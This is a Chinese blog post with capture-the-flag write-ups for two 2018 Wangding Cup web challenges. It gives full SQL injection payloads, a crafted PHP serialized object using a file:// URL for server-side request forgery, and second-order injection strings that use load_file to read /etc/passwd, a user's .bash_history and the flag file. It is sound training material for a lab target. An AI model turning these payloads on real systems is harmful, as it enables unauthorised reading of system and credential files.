[网鼎杯 2018]WEB

/ 0评 / 0

和大二的学姐们一起报了网鼎杯,鉴于我是菜鸡赶紧来刷一下去年的题目提升下
部分复现地址:buuoj.cn (赵总ttttttql)
最近课太多了
 

[网鼎杯 2018]Fakebook

//明天下午做
//祝自己生日快乐(3.26)
考点:
···SSRF
···SQL注入
···PHP反序列化
解题:
扫描后发现robots.txt
发现user.php.bak

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

进行代码审计  没发现什么有用的点(我发现不了
测试后发现只有注册和登录功能,那我们注册一个试试吧!

发现关键性参数,我们来测试一下sql注入吧!
输入'后报错,发现为sql查询

 
测试后发现是字符型注入,有四列,其中第二列有回显
且过滤了union select 然后就是常规注入了
数据库:-1 union/**/select 1,database(),3,4 %23  'fakebook'
表名:0%20union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'%23  ‘users’
列名:0%20union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'%23  ‘no,username,passwd,data’
查询数据的时候,发现password和username中存储的是自己刚刚的数据,所以我们来看一下data中有什么
数据:0%20union/**/select 1,group_concat(data),3,4 from users%23
‘O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:10:"128701.com";}’
发现正是刚刚自己注册的数据反序列化的结果
那么让我们看一下之前的user.php.bak吧!
让我们把目光放在这个class类上

class UserInfo
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

这里我们能不能构造一个序列化结果让他读取flag.php呢?当然可以
之前报错我们已经可以得到网站的绝对目录 /var/www/html/flag.php
尝试序列化并使用file命令读取一下flag吧!

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    }
$a = new UserInfo();
$a->name = 'admin';
$a->age = 12;
$a->blog = 'file:///var/www/html/user.php';
echo serialize($a);
?>

no=0%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这里注意:在blog中才可以执行命令,所以在4

再源代码中发现base64加密的flag
解码得到flag
 

[网鼎杯 2018]Comment

考点:
··· git文件泄露与恢复
··· 二次注入
··· sql读取文件
··· hex加密输出
··· 历史步骤记录文件
解题:
打开后是一个留言板界面,尝试留言后提示登录,在登录界面发现zhangwei/zhangweiXXX

爆破密码是zhangwei666
发现.git文件,githack一把梭
有一个wirte_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

代码审计,没啥有用的(我还是不会审计

发现代码缺了一点好像,使用git恢复
<?php
include "mysql.php"
session_start(); 
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die(); 
}
if(isset($_GET['do'])){ 
    switch ($_GET['do']){
        case 'write':
            $category = addslashes($_POST['category']);
            $title = addslashes($_POST['title']);
            $content = addslashes($_POST['content']);
            $sql = "insert into board set category = '$category',title = '$title', content = '$content'";
            $result = mysql_query($sql);
            header("Location: ./index.php");
            break;           
        case 'comment':
            $bo_id = addslashes($_POST['bo_id']);
            $sql = "select category from board where id='$bo_id'";
            $result = mysql_query($sql);
            $num = mysql_num_rows($result);
            if($num>0){
                $category = mysql_fetch_array($result)['category'];
                $content = addslashes($_POST['content']);
                $sql = "insert into comment set category = '$category',content = '$content', bo_id = '$bo_id'";
                $result = mysql_query($sql);
            }   
            header("Location: ./comment.php?id=$bo_id");
            break;
        default:
            header("Location: ./index.php");
    }
else {
    header("Location: ./index.php");
}         
?>

这次代码审计,审计了一手后,发现一个可疑的点

$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment set category = '$category',content = '$content', bo_id = '$bo_id'";
$result = mysql_query($sql);

这里在提取数据库时没有任何过滤,注入看看?
注意哦,这里是两个表。所以我们要使用/*/这样的多行注释
在正文结尾输入/,评论输入/#就可以正常注入了
category=123',content=database(),/
评论中输入/# 获得数据库名为ctf
测试了很久后发现sql注入行不通,尝试读取文件
首先读取etc/password
123',content=(select load_file('//etc/passwd')),/

发现了一个www用户,让我们来看看他做了什么吧!
123',content=(select load_file('//home/www/.bash_history')),/

他在这里解压了一个html.zip并复制到了html目录下并删除了.DS_Store文件,可是解压目录没有删除,我们读取一下
123',content=(select hex(load_file('//tmp/html/.DS_Store'))),/  这里这个目录太长了 hex加密读取

发现flag文件
读取一下
123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
解码后获得flag
这题学到很多

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注